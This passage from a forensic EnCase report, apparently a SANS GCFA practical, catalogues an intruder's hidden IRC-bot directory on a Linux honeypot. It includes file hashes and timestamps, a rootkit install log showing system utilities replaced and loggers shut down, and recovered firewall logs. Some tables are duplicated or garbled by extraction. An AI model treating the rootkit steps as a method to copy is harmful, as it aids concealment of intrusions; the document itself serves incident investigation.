<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>0d9ddca9a28dccc0313ac4012f20c6c31</td>
<td>450,560</td>
<td>448,456</td>
</tr>
</tbody>
</table>

© SANS Institute 2004,  
As part of GIAC practical repository.  
Author retains full rights.
### EnCase Computer Analysis Report

#### Sans GCFA Cert Assignment

<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>a2p</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\a2p</td>
<td>06/29/03 11:53:02PM</td>
<td>06/29/03 11:53:02PM</td>
<td>06/29/03 11:53:02PM</td>
<td>5da1e3d5a9112696f1f17b6c2256240e</td>
<td>110,592</td>
<td>106,681</td>
</tr>
<tr>
<td>a2p</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\a2p</td>
<td>06/29/03 11:53:02PM</td>
<td>06/29/03 11:53:02PM</td>
<td>06/29/03 11:53:02PM</td>
<td>5da1e3d5a9112696f1f17b6c2256240e</td>
<td>110,592</td>
<td>106,681</td>
</tr>
<tr>
<td>services</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp.font-unix\X11-pipe\inetd\services</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>03/15/02 07:27:40PM</td>
<td>a964f156ab911428a2ae6e8349842f13</td>
<td>475,136</td>
<td>474,596</td>
</tr>
<tr>
<td>randpickup.e</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp.font-unix\X11-pipe\randfiles\randpickup.e</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>10/09/00 06:22:02PM</td>
<td>d05256617d3228d1eb4dade64bd0529</td>
<td>3,072</td>
<td>2,495</td>
</tr>
<tr>
<td>Makefile.in</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp.font-unix\X11-pipe\src\Makefile.in</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>10/09/00 06:22:02PM</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

**IRC Files**

<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>services</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp.font-unix\X11-pipe\inetd\services</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>03/15/02 07:27:40PM</td>
<td>a964f156ab911428a2ae6e8349842f13</td>
<td>475,136</td>
<td>474,596</td>
</tr>
<tr>
<td>randpickup.e</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp.font-unix\X11-pipe\randfiles\randpickup.e</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>10/09/00 06:22:02PM</td>
<td>d05256617d3228d1eb4dade64bd0529</td>
<td>3,072</td>
<td>2,495</td>
</tr>
<tr>
<td>Makefile.in</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp.font-unix\X11-pipe\src\Makefile.in</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>10/09/00 06:22:02PM</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Name</td>
<td>Description</td>
<td>Full Path</td>
<td>Entry Modified</td>
<td>Last Accessed</td>
<td>Last Written</td>
<td>Hash Value</td>
<td>Physical Size</td>
<td>Logical Size</td>
</tr>
<tr>
<td>---------------</td>
<td>-------------</td>
<td>---------------------------------------------------------------------------</td>
<td>------------------</td>
<td>---------------</td>
<td>------------------------</td>
<td>-----------------</td>
<td>---------------</td>
<td>--------------</td>
</tr>
<tr>
<td>commands.c</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\commands.c</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>02/27/01 07:15:16AM</td>
<td>f87636f121d2087482ee5cbea3934fb3</td>
<td>3,072</td>
<td>3,002</td>
</tr>
<tr>
<td>dcc.c</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\dcc.c</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>10/09/00 06:22:02PM</td>
<td>a1b52263b8a66d7c90fc549ef70230c4</td>
<td>41,984</td>
<td>41,966</td>
</tr>
<tr>
<td>global.h</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\global.h</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>02/26/01 06:12:04PM</td>
<td>c0f09ce5d8d0a233cf59a39a8fa089be</td>
<td>12,288</td>
<td>12,044</td>
</tr>
<tr>
<td>structs.h</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\structs.h</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>02/26/01 04:27:42PM</td>
<td>7f4edf55bb5062c91208937bf4c3738c</td>
<td>9,216</td>
<td>8,264</td>
</tr>
<tr>
<td>config.h</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\config.h</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>#</td>
<td>Name</td>
<td>Description</td>
<td>Full Path</td>
<td>Entry Modified</td>
<td>Last Accessed</td>
<td>Last Written</td>
<td>Hash Value</td>
<td>Physical Size</td>
</tr>
<tr>
<td>---</td>
<td>--------</td>
<td>-------------</td>
<td>---------------------------------------------------------------------------</td>
<td>---------------</td>
<td>--------------</td>
<td>--------------</td>
<td>---------------------</td>
<td>---------------</td>
</tr>
<tr>
<td>271</td>
<td>combot.o</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\combot.o</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>08/27/01 01:50:54PM</td>
<td>3ac8152d92ce3822bd6eaf4e777da13</td>
<td>9,216</td>
</tr>
<tr>
<td>272</td>
<td>dcc.o</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\dcc.o</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>08/27/01 02:00:24PM</td>
<td>1568e3352c2d6b24c7a68ba1923f0</td>
<td>68,608</td>
</tr>
<tr>
<td>273</td>
<td>function.o</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\function.o</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>08/27/01 02:00:26PM</td>
<td>5b71f957cb4413b2a436f56deba6d0f</td>
<td>56,320</td>
</tr>
<tr>
<td>274</td>
<td>main.o</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\main.o</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>08/27/01 02:00:28PM</td>
<td>4af75da2abc5aa655f66515d29fd095b</td>
<td>81,920</td>
</tr>
<tr>
<td>275</td>
<td>xmech.o</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\xmech.o</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>08/27/01 02:00:32PM</td>
<td>4af75da2abc5aa655f66515d29fd095b</td>
<td>81,920</td>
</tr>
</tbody>
</table>
EnCase Computer Analysis Report

Last Accessed: 06/29/03 03:32:50PM
Last Written: 08/27/01 02:00:38PM
Hash Value: 43ca3f3c7bf56e00c75677de8ed6c43
Physical Size: 86,016
Logical Size: 85,984

276) Name: randinsult.e
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\randfiles\randinsult.e
Entry Modified: 06/29/03 03:32:50PM
Last Access: 06/29/03 03:32:50PM
Last Written: 10/09/00 06:22:02PM
Hash Value: a1b350ce4e068376627b4e9c36ebc9f7
Physical Size: 4,096
Logical Size: 3,982

277) Name: randinsult.e
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\randfiles\randinsult.e
Entry Modified: 06/29/03 03:32:50PM
Last Access: 06/29/03 03:32:50PM
Last Written: 10/09/00 06:22:02PM
Hash Value: a1b350ce4e068376627b4e9c36ebc9f7
Physical Size: 4,096
Logical Size: 3,982

278) Name: randversions.e
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\randfiles\randversions.e
Entry Modified: 06/29/03 03:32:50PM
Last Access: 06/29/03 03:32:50PM
Last Written: 10/09/00 06:22:02PM
Hash Value: 0b252e189020453aad18b93913e44ec3
Physical Size: 2,048
Logical Size: 1,465

279) Name: com-ons.c
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\com-ons.c
Entry Modified: 06/29/03 03:32:50PM
Last Access: 06/29/03 03:32:50PM
Last Written: 02/27/01 07:14:04AM
Hash Value: daf8812cc62b784f6d6a10ef388288d7
Physical Size: 28,672
Logical Size: 28,470

280) Name: defines.h
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\defines.h
<table>
<thead>
<tr>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>10/09/00 06:22:02PM</td>
<td>854b211a185d795497cc0a21c7778249</td>
<td>5,120</td>
<td>4,508</td>
</tr>
</tbody>
</table>

281) Name: h.h
Description: File
Full Path: Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/tmp/.font-unix/.X11-pipe/src/h.h
Entry Modified: 06/29/03 03:32:50PM
Last Accessed: 06/29/03 03:32:50PM
Last Written: 02/26/01 06:00:24PM
Hash Value: 8e0b21b02c62373ed8bca9974ee10776
Physical Size: 16,384
Logical Size: 15,681

282) Name: main.c
Description: File
Full Path: Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/tmp/.font-unix/.X11-pipe/src/main.c
Entry Modified: 06/29/03 03:32:50PM
Last Accessed: 06/29/03 03:32:50PM
Last Written: 02/26/01 06:13:24PM
Hash Value: 0b82e8deab893ffb5cba121cfcf6b864
Physical Size: 21,504
Logical Size: 21,078

283) Name: parse.c
Description: File
Full Path: Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/tmp/.font-unix/.X11-pipe/src/parse.c
Entry Modified: 06/29/03 03:32:50PM
Last Accessed: 06/29/03 03:32:50PM
Last Written: 10/22/00 10:47:20AM
Hash Value: 2fe83f9857e025c5759f45926d17a35b
Physical Size: 22,528
Logical Size: 22,527

284) Name: vars.c
Description: File
Full Path: Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/tmp/.font-unix/.X11-pipe/src/vars.c
Entry Modified: 06/29/03 03:32:50PM
Last Accessed: 06/29/03 03:32:50PM
Last Written: 10/09/00 06:22:02PM
Hash Value: 57bdcdba9d9126a49472d85485bae729
Physical Size: 10,240
Logical Size: 10,190

285) Name: vars.c
Description: File
Full Path: Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/tmp/.font-unix/.X11-pipe/src/vars.c
Entry Modified: 06/29/03 03:32:50PM
Last Accessed: 06/29/03 03:32:50PM
<table>
<thead>
<tr>
<th>Entry</th>
<th>Name</th>
<th>Description</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>286)</td>
<td>cfgfile.o</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system/\tmp./font-\X11-\pipe/\src/\cfgfile.o</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>08/27/01 02:00:20PM</td>
<td>0a445c0fa05cf6b6d3c4af0fc99ece2</td>
<td>71,680</td>
<td>71,392</td>
</tr>
<tr>
<td>287)</td>
<td>com-ons.o</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system/\tmp./font-\X11-\pipe/\src/\com-ons.o</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>08/27/01 02:00:22PM</td>
<td>1f39ee4b22d6e67cae4269eccfead55e</td>
<td>92,160</td>
<td>91,656</td>
</tr>
<tr>
<td>288)</td>
<td>socket.o</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system/\tmp./font-\X11-\pipe/\src/\socket.o</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>08/27/01 02:00:34PM</td>
<td>f24d2e6209d9af3cb33ef16714d5b035</td>
<td>56,320</td>
<td>55,316</td>
</tr>
<tr>
<td>289)</td>
<td>TODO</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system/\tmp./font-\X11-\pipe/\TODO</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:34:10PM</td>
<td>10/09/00 06:22:02PM</td>
<td>d4179b6ed4a1928a7e13fe0f8773943e</td>
<td>2,048</td>
<td>1,569</td>
</tr>
<tr>
<td>290)</td>
<td>Makefile</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system/\tmp./font-\X11-\pipe/\Makefile</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:34:10PM</td>
<td>10/09/00 06:22:02PM</td>
<td>77fa16768a254b70294b9a7b3e963c10</td>
<td>2,048</td>
<td>1,569</td>
</tr>
</tbody>
</table>
EnCase Computer Analysis Report

Hash Value  e452f0b4dab0676f4a2cd6e1a3abe570
Physical Size  3,072
Logical Size  2,147

291) Name  samba.tgz
Description  File
Full Path  Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\samba.tgz
Entry Modified  06/29/03 03:41:42PM
Last Accessed  06/29/03 03:41:56PM
Last Written  04/29/03 06:48:30AM
Hash Value  4c41dbabb341df57e56c0394d6efc3d3
Physical Size  13,312
Logical Size  13,183

Log files

Log file information
292) Name  cron.1
Entry Modified  06/29/03 04:02:05AM
Last Accessed  06/29/03 04:02:00AM
Last Written  06/29/03 04:02:04AM
Hash Value  f8670b0876691e1f24dde35972127642
Comment: last log entries in cron.1 - normal
Jun 29 04:01:01 rh1 CROND[10319]: (root) CMD (run-parts /etc/cron.hourly)
Jun 29 04:02:00 rh1 CROND[10321]: (root) CMD (run-parts /etc/cron.daily)
Jun 29 04:02:04 rh1 anacron[10485]: Updated timestamp for job `cron.daily' to 2003-06-29

293) Name  access_log
Entry Modified  06/29/03 03:36:49PM
Last Accessed  06/30/03 04:02:03AM
Last Written  06/29/03 03:36:49PM
Hash Value  e32d45931d3dd58258ce7bb68978cd02
Comment: httpd access log

Install log from /tmp/.s directory

294) Name  install.log
Entry Modified  06/29/03 03:25:20PM
Last Accessed  06/29/03 03:25:20PM
Last Written  06/29/03 03:25:20PM
Hash Value: 65025494af2c14aeb979024429159fb8

Comment: Install log from /tmp/.s/

Installing
chattr: No such file or directory while trying to stat /usr/local/sbin/sshd
Shutting down kernel logger: [ OK ]
Shutting down system logger: [ OK ]
touch: getting attributes of `ps': No such file or directory
touch: getting attributes of `ls': No such file or directory
|--ps
|   PS --> failed
|   |--top
|   TOP --> OK
|   |---pstree
|   PSTREE --> failed
|   |---killall
|   KILLALL --> OK
|   |---ls-dir-vdir
|   LS DIR VDIR --> failed
|   |---find
|   FIND --> OK
|   |-----du
|   DU --> OK
|   |-------netstat
|   NETSTAT --> OK

End of log file.
### EnCase Computer Analysis Report

**Var partition from Logserver**

<table>
<thead>
<tr>
<th>Device</th>
<th>Evidence Number:</th>
<th>Var partition from logserver</th>
</tr>
</thead>
<tbody>
<tr>
<td>File Path:</td>
<td>Evidence files</td>
<td>Var partition from logserver.E01</td>
</tr>
<tr>
<td>Actual Date:</td>
<td>10/14/03 09:07:37PM</td>
<td></td>
</tr>
<tr>
<td>Target Date:</td>
<td>10/14/03 09:07:37PM</td>
<td></td>
</tr>
<tr>
<td>Total Size:</td>
<td>1,073,709,056 bytes (1,024.0MB)</td>
<td></td>
</tr>
<tr>
<td>Total Sectors:</td>
<td>2,097,088</td>
<td></td>
</tr>
<tr>
<td>File Integrity:</td>
<td>Completely Verified, 0 Errors</td>
<td></td>
</tr>
<tr>
<td>EnCase Version:</td>
<td>4.15</td>
<td></td>
</tr>
<tr>
<td>System Version:</td>
<td>Windows XP</td>
<td></td>
</tr>
<tr>
<td>Acquisition Hash:</td>
<td>CB51CFD7889DE261C0B94456C9D68819</td>
<td></td>
</tr>
<tr>
<td>Verify Hash:</td>
<td>CB51CFD7889DE261C0B94456C9D68819</td>
<td></td>
</tr>
</tbody>
</table>

### Logging events recovered from unallocated Clusters on /var partition of Logserver.

#### Logs before logging shutdown on Linux 7.3 system

<table>
<thead>
<tr>
<th>Name</th>
<th>Unallocated Clusters</th>
</tr>
</thead>
<tbody>
<tr>
<td>Entry Modified</td>
<td>Last Accessed</td>
</tr>
<tr>
<td>Last Written</td>
<td>Hash Value</td>
</tr>
<tr>
<td>Comment: Firewall Log from log Server - before logging shutdown</td>
<td></td>
</tr>
</tbody>
</table>

Jun 29 15:04:50 192.168.1.1 id=firewall time="2003-06-29 15:04:50" fw="GNAT-Box" pri=6 flt_type=RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.XXX.XXX.108.64 srcport=34988 dst=XXX.XXX.XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2

Jun 29 15:04:50 192.168.1.1 id=firewall time="2003-06-29 15:04:50" fw="GNAT-Box" pri=6 msg="FILT ER: 31 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt

Jun 29 15:04:50 192.168.1.1 id=firewall time="2003-06-29 15:04:50" fw="GNAT-Box" pri=4 flt_type=RAF flt_action=pass msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.XXX.XXX.108.64 srcport=34989 dst=XXX.XXX.XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2

Jun 29 15:04:50 192.168.1.1 id=firewall time="2003-06-29 15:04:51" fw="GNAT-Box" pri=6 flt_type=RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.XXX.XXX.108.64 srcport=34989 dst=XXX.XXX.XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2

Jun 29 15:04:51 192.168.1.1 id=firewall time="2003-06-29 15:04:51" fw="GNAT-Box" pri=4 flt_type=RAF flt_action=pass msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.XXX.XXX.108.64 srcport=34990 dst=XXX.XXX.XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2

Jun 29 15:04:51 192.168.1.1 id=firewall time="2003-06-29 15:04:51" fw="GNAT-Box" pri=6 msg="FILT ER: 34 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
EnCase Computer Analysis Report

Sans GCFA Cert Assignment: EnCase Computer Analysis Report

Page 314

Jun 29 15:04:56 192.168.1.1 id=firewall time="2003-06-29 15:04:56" fw="GNAT-Box" pri=6 flt_type=RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.XXX.XXX dstport=35008 dst t=XXX.XXX.XXX.XXX flags=0x2
Jun 29 15:04:56 192.168.1.1 id=firewall time="2003-06-29 15:04:56" fw="GNAT-Box" pri=6 msg="FILT ER: 53 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx* type=mgmt"
Jun 29 15:04:56 192.168.1.1 id=firewall time="2003-06-29 15:04:56" fw="GNAT-Box" pri=6 msg="FILT ER: 52 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx* type=mgmt"
Jun 29 15:04:56 192.168.1.1 id=firewall time="2003-06-29 15:04:56" fw="GNAT-Box" pri=6 msg="FILT ER: 51 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx* type=mgmt"
Jun 29 15:04:56 192.168.1.1 id=firewall time="2003-06-29 15:04:56" fw="GNAT-Box" pri=6 msg="FILT ER: 50 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx* type=mgmt"
Jun 29 15:04:56 192.168.1.1 id=firewall time="2003-06-29 15:04:56" fw="GNAT-Box" pri=6 msg="FILT ER: 49 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx* type=mgmt"
Jun 29 15:04:56 192.168.1.1 id=firewall time="2003-06-29 15:04:56" fw="GNAT-Box" pri=6 msg="FILT ER: 48 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx* type=mgmt"
Jun 29 15:04:56 192.168.1.1 id=firewall time="2003-06-29 15:04:56" fw="GNAT-Box" pri=6 msg="FILT ER: 47 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx* type=mgmt"
Jun 29 15:04:56 192.168.1.1 id=firewall time="2003-06-29 15:04:56" fw="GNAT-Box" pri=6 msg="FILT ER: 46 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx* type=mgmt"
Jun 29 15:04:56 192.168.1.1 id=firewall time="2003-06-29 15:04:56" fw="GNAT-Box" pri=6 msg="FILT ER: 45 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx* type=mgmt"
Jun 29 15:04:56 192.168.1.1 id=firewall time="2003-06-29 15:04:56" fw="GNAT-Box" pri=6 msg="FILT ER: 44 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx* type=mgmt"
Jun 29 15:04:56 192.168.1.1 id=firewall time="2003-06-29 15:04:56" fw="GNAT-Box" pri=6 msg="FILT ER: 43 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx* type=mgmt"
Jun 29 15:04:56 192.168.1.1 id=firewall time="2003-06-29 15:04:56" fw="GNAT-Box" pri=6 msg="FILT ER: 42 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx* type=mgmt"
Jun 29 15:04:56 192.168.1.1 id=firewall time="2003-06-29 15:04:56" fw="GNAT-Box" pri=6 msg="FILT ER: 41 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx* type=mgmt"

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
EnCase Computer Analysis Report

Sans GCFA Cert Assignment: EnCase Computer Analysis Report

XXX.XXX.3.5 dstport=443 interface=sis1 flags=0x2
Jun 29 15:06:00 192.168.1.1 id=firewall time="2003-06-29 15:06:00" fw="GNAT-Box" pri=6 msg="FILT
ER: 70 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:06:00 192.168.1.1 id=firewall time="2003-06-29 15:06:00" fw="GNAT-Box" pri=4 flt_type=RAF flt_action=pass msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35026 dst=XXX.XXX.3.5 dstport=443 interface=sis1 flags=0x2
Jun 29 15:06:00 192.168.1.1 id=firewall time="2003-06-29 15:06:00" fw="GNAT-Box" pri=6 msg="FILT
ER: 71 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:06:00 192.168.1.1 id=firewall time="2003-06-29 15:06:00" fw="GNAT-Box" pri=4 flt_type=RAF flt_action=pass msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35027 dst=XXX.XXX.3.5 dstport=443 interface=sis1 flags=0x2
Jun 29 15:06:00 192.168.1.1 id=firewall time="2003-06-29 15:06:00" fw="GNAT-Box" pri=6 msg="FILT
ER: 72 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:06:00 192.168.1.1 id=firewall time="2003-06-29 15:06:00" fw="GNAT-Box" pri=4 flt_type=RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35028 dst=XXX.XXX.3.5 dstport=443 interface=sis1 flags=0x2
Jun 29 15:06:00 192.168.1.1 id=firewall time="2003-06-29 15:06:00" fw="GNAT-Box" pri=6 msg="FILT
ER: 73 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:06:00 192.168.1.1 id=firewall time="2003-06-29 15:06:00" fw="GNAT-Box" pri=4 flt_type=RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35029 dst=XXX.XXX.3.5 dstport=443 interface=sis1 flags=0x2

Jun 29 15:06:00 192.168.1.1 id=firewall time="2003-06-29 15:06:00" fw="GNAT-Box" pri=6 msg="FILT
ER: 74 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:06:00 192.168.1.1 id=firewall time="2003-06-29 15:06:00" fw="GNAT-Box" pri=4 flt_type=RAF flt_action=pass msg="Received RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35030 dst=XXX.XXX.3.5 dstport=443 interface=sis1 flags=0x2
Jun 29 15:06:00 192.168.1.1 id=firewall time="2003-06-29 15:06:00" fw="GNAT-Box" pri=6 msg="FILT
ER: 75 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:06:01 192.168.1.1 id=firewall time="2003-06-29 15:06:01" fw="GNAT-Box" pri=4 flt_type=RAF flt_action=pass msg="Received RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35031 dst=XXX.XXX.3.5 dstport=443 interface=sis1 flags=0x2
Jun 29 15:06:01 192.168.1.1 id=firewall time="2003-06-29 15:06:01" fw="GNAT-Box" pri=6 msg="FILT
ER: 76 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:06:01 192.168.1.1 id=firewall time="2003-06-29 15:06:01" fw="GNAT-Box" pri=4 flt_type=RAF flt_action=pass msg="Received RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35032 dst=XXX.XXX.3.5 dstport=443 interface=sis1 flags=0x2
Jun 29 15:06:01 192.168.1.1 id=firewall time="2003-06-29 15:06:01" fw="GNAT-Box" pri=6 msg="FILT
ER: 77 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt

Jun 29 15:06:01 192.168.1.1 id=firewall time="2003-06-29 15:06:01" fw="GNAT-Box" pri=4 flt_type=RAF flt_action=pass msg="Received RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35033 dst=XXX.XXX.3.5 dstport=443 interface=sis1 flags=0x2
Jun 29 15:06:02 192.168.1.1 id=firewall time="2003-06-29 15:06:02" fw="GNAT-Box" pri=6 msg="FILT
ER: 78 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:06:02 192.168.1.1 id=firewall time="2003-06-29 15:06:02" fw="GNAT-Box" pri=4 flt_type=RAF flt_action=pass msg="Received RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35034 ds

EnCase Computer Analysis Report
Sans GCFA Cert Assignment
EnCase Computer Analysis Report
Page 320

RAF flt_action=block msg="Received (24)" rule=24 proto=3389/tcp src=80.6.101.56 srcport=4918 dst=XXX.XXX.5.32 dsport=3389 interface=sis1 attribute="alarm" flags=0x2
Jun 29 15:10:16 192.168.1.1 id=firewall time="2003-06-29 15:10:16" fw="GNAT-Box" pri=6 msg="FILT ER: 60 matches for 24: Deny warning ANY ALL alarm from ANY_IP to ANY_IP" type=mgmt
Jun 29 15:10:16 192.168.1.1 id=firewall time="2003-06-29 15:10:16" fw="GNAT-Box" pri=4 flt_type=
RAF flt_action=block msg="Block RAF (24)" rule=24 proto=3389/tcp src=80.6.101.56 srcport=4918 dst=XXX.XXX.5.32 dsport=3389 interface=sis1 attribute="alarm" flags=0x2
Jun 29 15:10:22 192.168.1.1 id=firewall time="2003-06-29 15:10:22" fw="GNAT-Box" pri=6 msg="FILT ER: 61 matches for 24: Deny warning ANY ALL alarm from ANY_IP to ANY_IP" type=mgmt
Jun 29 15:10:22 192.168.1.1 id=firewall time="2003-06-29 15:10:22" fw="GNAT-Box" pri=4 flt_type=
